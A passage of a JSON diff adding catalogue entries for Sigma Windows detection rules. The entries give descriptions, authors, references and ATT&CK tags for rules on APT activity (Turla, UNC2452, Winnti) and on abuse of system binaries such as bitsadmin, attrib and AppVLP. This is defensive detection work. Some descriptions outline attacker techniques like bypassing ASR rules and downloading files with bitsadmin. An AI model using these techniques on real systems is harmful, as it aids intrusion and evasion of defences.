"description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", + "meta": { + "author": "Florian Roth, Bartlomiej Czyz (@bczyz1)", + "creation_date": "2019/03/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_slingshot.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/apt-slingshot/84312/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_slingshot.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.005", + "attack.s0111" + ] + }, + "uuid": "958d81aa-8566-4cea-a565-59ccd4df27b0", + "value": "Defrag Deactivation" + }, + { + "description": "Detects Trojan loader activity as used by APT28", + "meta": { + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2018/03/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_sofacy.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/", + "https://www.reverse.it/sample/e3399d4802f9e6d6d539e3ae57e7ea9a54610a7c4155a6541df8e94d67af086e?environmentId=100", + "https://twitter.com/ClearskySec/status/960924755355369472", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sofacy.yml" + ], + "tags": [ + "attack.g0007", + "attack.execution", + "attack.t1059.003", + "attack.defense_evasion", + "car.2013-10-002", + "attack.t1218.011" + ] + }, + "uuid": "ba778144-5e3d-40cf-8af9-e28fb1df1e20", + "value": "Sofacy Trojan Loader Activity" + }, + { + "description": "Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM", + "meta": { + "author": "MSTIC, FPT.EagleEye", + "creation_date": "2021/06/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_sourgrum.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.virustotal.com/gui/file/c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d/detection", + "https://github.com/Azure/Azure-Sentinel/blob/43e9be273dca321295190bfc4902858e009d4a35/Detections/MultipleDataSources/SOURGUM_IOC.yaml", + "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sourgrum.yml" + ], + "tags": [ + "attack.t1546", + "attack.t1546.015", + "attack.persistence", + "attack.privilege_escalation" + ] + }, + "uuid": "7ba08e95-1e0b-40cd-9db5-b980555e42fd", + "value": "SOURGUM Actor Behaviours" + }, + { + "description": "Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/10/22", + "falsepositive": [ + "Renamed SysInternals tool" + ], + "filename": "proc_creation_win_apt_ta17_293a_ps.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta17_293a_ps.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.g0035", + "attack.t1036.003", + "car.2013-05-009" + ] + }, + "uuid": "18da1007-3f26-470f-875d-f77faf1cab31", + "value": "Ps.exe Renamed SysInternals Tool" + }, + { + "description": "Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/12/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_ta505_dropper.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/ForensicITGuy/status/1334734244120309760", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta505_dropper.yml" + ], + "tags": [ + "attack.execution", + "attack.g0092", + "attack.t1106" + ] + }, + "uuid": "18cf6cf0-39b0-4c22-9593-e244bdc9a2d4", + "value": "TA505 Dropper Load Pattern" + }, + { + "description": "Detects specific process characteristics of Chinese TAIDOOR RAT malware load", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/07/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_taidoor.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_taidoor.yml" + ], + "tags": [ + "attack.execution", + "attack.t1055.001" + ] + }, + "uuid": "d1aa3382-abab-446f-96ea-4de52908210b", + "value": "TAIDOOR RAT DLL Load" + }, + { + "description": "Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia", + "meta": { + "author": "@41thexplorer, Microsoft Defender ATP", + "creation_date": "2019/11/12", + "falsepositive": "No established falsepositives", + "filename": "proc_creation_win_apt_tropictrooper.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://cloudblogs.microsoft.com/microsoftsecure/2018/11/28/windows-defender-atp-device-risk-score-exposes-new-cyberattack-drives-conditional-access-to-protect-networks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_tropictrooper.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "8c7090c3-e0a0-4944-bd08-08c3a0cecf79", + "value": "TropicTrooper Campaign November 2018" + }, + { + "description": "Detects automated lateral movement by Turla group", + "meta": { + "author": "Markus Neis", + "creation_date": "2017/11/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_turla_commands_critical.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/the-epic-turla-operation/65545/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_critical.yml" + ], + "tags": [ + "attack.g0010", + "attack.execution", + "attack.t1059", + "attack.lateral_movement", + "attack.t1021.002", + "attack.discovery", + "attack.t1083", + "attack.t1135" + ] + }, + "uuid": "c601f20d-570a-4cde-a7d6-e17f99cb8e7f", + "value": "Turla Group Lateral Movement" + }, + { + "description": "Detects automated lateral movement by Turla group", + "meta": { + "author": "Markus Neis", + "creation_date": "2017/11/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_turla_commands_medium.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/the-epic-turla-operation/65545/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_medium.yml" + ], + "tags": [ + "attack.g0010", + "attack.execution", + "attack.t1059", + "attack.lateral_movement", + "attack.t1021.002", + "attack.discovery", + "attack.t1083", + "attack.t1135" + ] + }, + "uuid": "75925535-ca97-4e0a-a850-00b5c00779dc", + "value": "Turla Group Lateral Movement" + }, + { + "description": "Detects commands used by Turla group as reported by ESET in May 2020", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/05/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_turla_comrat_may20.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_comrat_may20.yml" + ], + "tags": [ + "attack.g0010", + "attack.execution", + "attack.t1059.001", + "attack.t1053.005", + "attack.t1027" + ] + }, + "uuid": "9e2e51c5-c699-4794-ba5a-29f5da40ac0c", + "value": "Turla Group Commands May 2020" + }, + { + "description": "Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/01/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_apt_unc2452_cmds.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_cmds.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "9be34ad0-b6a7-4fbd-91cf-fc7ec1047f5f", + "value": "UNC2452 Process Creation Patterns" + }, + { + "description": "Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/01/20", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_apt_unc2452_ps.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-7---create-a-process-using-wmi-query-and-an-encoded-command", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_ps.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.t1047" + ] + }, + "uuid": "b7155193-8a81-4d8f-805d-88de864ca50c", + "value": "UNC2452 PowerShell Pattern" + }, + { + "description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", + "meta": { + "author": "@41thexplorer, Microsoft Defender ATP", + "creation_date": "2018/11/20", + "falsepositive": "No established falsepositives", + "filename": "proc_creation_win_apt_unidentified_nov_18.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/DrunkBinary/status/1063075530180886529", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unidentified_nov_18.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218.011" + ] + }, + "uuid": "7453575c-a747-40b9-839b-125a0aae324b", + "value": "Unidentified Attacker November 2018" + }, + { + "description": "Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities", + "meta": { + "author": "Florian Roth, Markus Neis", + "creation_date": "2020/02/01", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_apt_winnti_mal_hk_jan20.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_mal_hk_jan20.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.g0044" + ] + }, + "uuid": "3121461b-5aa0-4a41-b910-66d25524edbb", + "value": "Winnti Malware HK University Campaign" + }, + { + "description": "Detects specific process characteristics of Winnti Pipemon malware reported by ESET", + "meta": { + "author": "Florian Roth, oscd.community", + "creation_date": "2020/07/30", + "falsepositive": [ + "Legitimate setups that use similar flags" + ], + "filename": "proc_creation_win_apt_winnti_pipemon.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_pipemon.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.g0044" + ] + }, + "uuid": "73d70463-75c9-4258-92c6-17500fe972f2", + "value": "Winnti Pipemon Characteristics" + }, + { + "description": "Detects activity mentioned in Operation Wocao report", + "meta": { + "author": "Florian Roth, frack113", + "creation_date": "2019/12/20", + "falsepositive": [ + "Administrators that use checkadmin.exe tool to enumerate local administrators" + ], + "filename": "proc_creation_win_apt_wocao.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", + "https://twitter.com/SBousseaden/status/1207671369963646976", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_wocao.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012", + "attack.defense_evasion", + "attack.t1036.004", + "attack.t1027", + "attack.execution", + "attack.t1053.005", + "attack.t1059.001" + ] + }, + "uuid": "1cfac73c-be78-4f9a-9b08-5bde0c3953ab", + "value": "Operation Wocao Activity" + }, + { + "description": "Detects a ZxShell start by the called and well-known function name", + "meta": { + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "creation_date": "2017/07/20", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_apt_zxshell.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.hybrid-analysis.com/sample/5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_zxshell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003", + "attack.defense_evasion", + "attack.t1218.011", + "attack.s0412", + "attack.g0001" + ] + }, + "uuid": "f0b70adb-0075-43b0-9745-e82a1c608fcc", + "value": "ZxShell Malware" + }, + { + "description": "The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create \"shortcuts\" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.", + "meta": { + "author": "Sreeman", + "creation_date": "2020/03/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml" + ], + "tags": [ + "attack.t1204", + "attack.t1566.001", + "attack.execution", + "attack.initial_access" + ] + }, + "uuid": "24de4f3b-804c-4165-b442-5a06a2302c7e", + "value": "Arbitrary Shell Command Execution Via Settingcontent-Ms" + }, + { + "description": "Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/07", + "falsepositive": [ + "Legitimate cases in which archives contain ISO or IMG files and the user opens the archive and the image via clicking and not extraction" + ], + "filename": "proc_creation_win_archiver_iso_phishing.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/1ZRR4H/status/1534259727059787783", + "https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_archiver_iso_phishing.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566" + ] + }, + "uuid": "fcdf69e5-a3d3-452a-9724-26f2308bf2b1", + "value": "Phishing Pattern ISO in Archive" + }, + { + "description": "Application Virtualization Utility is included with Microsoft Office. We are able to abuse \"AppVLP\" to execute shell commands.\nNormally, this binary is used for Application Virtualization, but we can use it as an abuse binary to circumvent the ASR file path rule folder\nor to mark a file as a system file.\n", + "meta": { + "author": "Sreeman", + "creation_date": "2020/03/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_asr_bypass_via_appvlp_re.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_asr_bypass_via_appvlp_re.yml" + ], + "tags": [ + "attack.t1218", + "attack.defense_evasion", + "attack.execution" + ] + }, + "uuid": "9c7e131a-0f2c-4ae0-9d43-b04f4e266d43", + "value": "Using AppVLP To Circumvent ASR File Path Rule" + }, + { + "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/09/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://nvd.nist.gov/vuln/detail/CVE-2021-26084", + "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html", + "https://github.com/h3v0x/CVE-2021-26084_Confluence", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.execution", + "attack.t1190", + "attack.t1059" + ] + }, + "uuid": "245f92e3-c4da-45f1-9070-bc552e06db11", + "value": "Atlassian Confluence CVE-2021-26084" + }, + { + "description": "Detects usage of attrib.exe to hide files from users.", + "meta": { + "author": "Sami Ruohonen", + "creation_date": "2019/01/16", + "falsepositive": [ + "IgfxCUIService.exe hiding *.cui files via .bat script (attrib.exe a child of cmd.exe and igfxCUIService.exe is the parent of the cmd.exe)", + "Msiexec.exe hiding desktop.ini" + ], + "filename": "proc_creation_win_attrib_hiding_files.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ] + }, + "uuid": "4281cb20-2994-4580-aa63-c8b86d019934", + "value": "Hiding Files with Attrib.exe" + }, + { + "description": "Marks a file as a system file using the attrib.exe utility", + "meta": { + "author": "frack113", + "creation_date": "2022/02/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_attrib_system.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-3---create-windows-system-file-with-attrib", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/attrib", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ] + }, + "uuid": "bb19e94c-59ae-4c15-8c12-c563d23fe52b", + "value": "Set Windows System File with Attrib" + }, + { + "description": "Detects usage of attrib with \"+s\" option to set suspicious script or executable as system files to hide them from users and make them unable to delete with simple rights. The rule limit the search to specific extensions and directories to avoid FP's", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_attrib_system_susp_paths.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/c28cabc8-a19f-40f3-a78b-cae506a5c0d4", + "https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ] + }, + "uuid": "efec536f-72e8-4656-8960-5e85d091345b", + "value": "Set Suspicious Files as System Files Using Attrib" + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", + "meta": { + "author": "frack113", + "creation_date": "2021/07/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_automated_collection.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_automated_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1119", + "attack.credential_access", + "attack.t1552.001" + ] + }, + "uuid": "f576a613-2392-4067-9d1a-9345fb58d8d1", + "value": "Automated Collection Command Prompt" + }, + { + "description": "Detects attackers using tooling with bad opsec defaults e.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run, one trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.", + "meta": { + "author": "Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard", + "creation_date": "2020/10/23", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_bad_opsec_sacrificial_processes.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/", + "https://www.cobaltstrike.com/help-opsec", + "https://twitter.com/CyberRaiju/status/1251492025678983169", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32", + "https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool", + "https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool#feedback", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bad_opsec_sacrificial_processes.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "a7c3d773-caef-227e-a7e7-c2f13c622329", + "value": "Bad Opsec Defaults Sacrificial Processes With Improper Arguments" + }, + { + "description": "Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets", + "meta": { + "author": "pH-T", + "creation_date": "2022/05/31", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_base64_invoke_susp_cmdlets.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_invoke_susp_cmdlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "fd6e2919-3936-40c9-99db-0aa922c356f7", + "value": "Malicious Base64 Encoded Powershell Invoke Cmdlets" + }, + { + "description": "Detects base64 encoded listing Win32_Shadowcopy", + "meta": { + "author": "Christian Burkard", + "creation_date": "2022/03/01", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_base64_listing_shadowcopy.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_listing_shadowcopy.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "47688f1b-9f51-4656-b013-3cc49a166a36", + "value": "Base64 Encoded Listing of Shadowcopy" + }, + { + "description": "Detects base64 encoded .NET reflective loading of Assembly", + "meta": { + "author": "Christian Burkard, pH-T", + "creation_date": "2022/03/01", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_base64_reflective_assembly_load.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_reflective_assembly_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "62b7ccc9-23b4-471e-aa15-6da3663c4d59", + "value": "Base64 Encoded Reflective Assembly Load" + }, + { + "description": "Detects usage of bitsadmin downloading a file", + "meta": { + "author": "Michael Haag, FPT.EagleEye", + "creation_date": "2017/03/09", + "falsepositive": [ + "Some legitimate apps use this, but limited." + ], + "filename": "proc_creation_win_bitsadmin_download.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ] + }, + "uuid": "d059842b-6b9d-4ed1-b5c3-5b89143c6ede", + "value": "Bitsadmin Download" + }, + { + "description": "Detects usage of bitsadmin downloading a file from a suspicious domain", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/28", + "falsepositive": [ + "Some legitimate apps use this, but limited." + ], + "filename": "proc_creation_win_bitsadmin_download_susp_domain.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_domain.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ] + }, + "uuid": "8518ed3d-f7c9-4601-a26c-f361a4256a0c", + "value": "Bitsadmin Download from Suspicious Domain" + }, + { + "description": "Detects usage of bitsadmin downloading a file with a suspicious extension", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_bitsadmin_download_susp_ext.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ext.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ] + }, + "uuid": "5b80a791-ad9b-4b75-bcc1-ad4e1e89c200", + "value": "Bitsadmin Download File with Suspicious Extension" + }, + { + "description": "Detects usage of bitsadmin downloading a file using an URL that contains an IP", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_bitsadmin_download_susp_ip.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ] + }, + "uuid": "99c840f2-2012-46fd-9141-c761987550ef", + "value": "Bitsadmin Download File from IP" + }, + { + "description": "Detects usage of bitsadmin downloading a file to a suspicious target folder", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_bitsadmin_download_susp_targetfolder.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ] + }, + "uuid": "2ddef153-167b-4e89-86b6-757a9e65dcac", + "value": "Bitsadmin Download to Suspicious Target Folder" + }, + { + "description": "Detects usage of bitsadmin downloading a file to uncommon target folder", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + 